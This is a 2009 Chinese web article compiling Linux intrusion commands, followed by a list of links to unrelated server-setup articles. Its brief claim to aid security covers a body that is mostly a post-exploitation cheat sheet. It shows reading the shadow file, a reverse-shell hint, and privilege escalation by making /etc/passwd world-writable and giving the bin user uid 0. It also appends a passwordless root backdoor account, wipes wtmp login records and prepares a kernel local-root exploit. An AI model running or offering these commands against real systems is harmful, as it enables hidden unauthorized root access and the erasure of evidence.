linux 入侵常用命令汇编

 更新时间:2009年07月09日 23:51:28   作者:  
掌握这些命令也有助于配置linux的安全,大家可以看看。
cat /etc/passwd 查看linux用户

  cat /etc/shadow 查看用户密码需要root权限

  cat /etc/sysconfig/network-scripts/ifcfg-ethn N代表网卡号 查看所在网卡的ip信息

  ifconfig 查看本机ip信息

  cat /etc/resolv.conf 查看DNS信息

  bash -i 在反弹的shell中使用可以直观显示命令

  bash prompt: 当你以普通限权用户身份进入的时候,一般你会有一个类似bash$的prompt。当你以Root登陆时,你的prompt会变成

  bash#。

  系统变量 : 试着echo "$USER / $EUID" 系统应该会告诉你它认为你是什么用户。

  echo 1>/proc/sys/net/ipv4/if_forward是不是你写错了,应该是echo 1>/proc/sys/net/ipv4/ip_forward,

  vim /proc/sys/net/ipv4/ip_forward 吧,默认是0,也就是内核不进行数据包过滤,改为1 ,让内核对数据包进行filter处理!

  netstat -an |grep LISTEN |grep :80 查看端口

  service --status-all | grep running

  service --status-all | grep http

  查看运行服务

  lsb_release -a 查看系统版本

  重启ssh服务 :/usr/sbin/sshd stop

  /usr/sbin/sshd start

  ssd_config文件里

  PasswordAuthentication no,

  将其改为

  PasswordAuthentication yes

  远程ssh才可登录

  否则显示Access denied

  其中Usepam yes可能用来建立pam方式login,比如从其它linux主机ssh到服务端,如果关闭,则不能打开.

  su的菜鸟用法

  先chomod 777 /etc/passwd

  然后修改bin用户的gid和uid为0

  然后passwd设置bin的密码

  然后cp /bin/bash /sbin/nologin

  然后su的时候su - bin就可以到rootshell了。

  这个原理就是当ssh不允许root用ssh终端登陆的时候,我们又不知道root密码,的一种很菜鸟的做法

  还可以这样

  sed -i s/bin:x:1:1/bin:x:0:1/g /etc/passwd

  gcc prtcl2.c –o local –static –Wall

  echo "nosec:x:0:0::/:/bin/sh" >> /etc/passwd

  echo "nosec::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

  清空last记录 cp /dev/null /var/log/wtmp

  -----

  dd if=/dev/zero of=yourfile bs=10M count=10 建立一个100m的大文件在利用Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit提权的时候要用到的。

相关文章

  • Linux下的Apache与PHP安全设置技巧

    Linux下的Apache与PHP安全设置技巧

    Linux下的Apache与PHP安全设置技巧,都是一些比较重要的细节。为了让你的服务器更安全,一定要注意下。
    2010-12-12
  • CentOS 7.2安装Nginx 1.10.2的详细教程

    CentOS 7.2安装Nginx 1.10.2的详细教程

    最近公司要切换VPS,所以打算使用最新的系统进行搭建LNMP,这篇文章是为CentOS 7.2安装Nginx 1.10.2的安装记录,记录下以便下次或者有需要的朋友们参考使用。下面跟着小编来一起学习学习吧。
    2016-11-11
  • apache2服务器的搭建和配置步骤详解

    apache2服务器的搭建和配置步骤详解

    其实搭建apache2并不难,只是网上的资料有很多都过时了,之前被误导过好几次,走了很多弯路。趁着这次在本地搭建网站的时机重新捋一下思路,也方便以后有需求的时候查阅,需要的朋友可以参考下。
    2017-04-04
  • 用vnc实现Windows远程连接linux桌面之服务器配置

    用vnc实现Windows远程连接linux桌面之服务器配置

    这篇文章主要介绍了用vnc实现Windows远程连接linux桌面之服务器配置,需要的朋友可以参考下
    2016-09-09
  • Linux sshd_config配置手册中文版

    Linux sshd_config配置手册中文版

    sshd默认从 /etc/ssh/sshd_config 文件(或通过 -f 命令行选项指定的文件)读取配置信息。配置文件是由"指令 值"对组成的,每行一个。空行和以'#'开头的行都将被忽略。如果值中含有空白符或者其他特殊符号,那么可以通过在两边加上双引号(")进行界定
    2014-03-03
  • Apache网页的优化、安全与防盗链图文详解

    Apache网页的优化、安全与防盗链图文详解

    防盗链就是防止别人的网站代码里面盗用服务器的图片、文件、视频等相关资源,下面这篇文章主要给大家介绍了关于Apache网页的优化、安全与防盗链的相关资料,需要的朋友可以参考下
    2022-10-10
  • CentOS 7.0服务器安装配置LAMP服务器(Apache+PHP+MariaDB)

    CentOS 7.0服务器安装配置LAMP服务器(Apache+PHP+MariaDB)

    这篇文章主要介绍了CentOS 7.0服务器安装配置LAMP服务器(Apache+PHP+MariaDB),需要的朋友可以参考下
    2016-10-10
  • Linux Vim提示:E325: ATTENTION的问题及解决

    Linux Vim提示:E325: ATTENTION的问题及解决

    这篇文章主要介绍了Linux Vim提示:E325: ATTENTION的问题及解决方案,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2023-11-11
  • Linux实现科学上网

    Linux实现科学上网

    本文给大家介绍的是Linux下使用plink ssh + privoxy 实现局域网共享代理,非常的全面细致,这里推荐给大家。
    2015-03-03
  • centos克隆linux虚拟机的完整步骤分享

    centos克隆linux虚拟机的完整步骤分享

    这篇文章主要给大家分享介绍了关于centos克隆linux虚拟机的完整步骤,文中通过图文将实现的步骤一步步介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面来一起看看吧
    2018-11-11

最新评论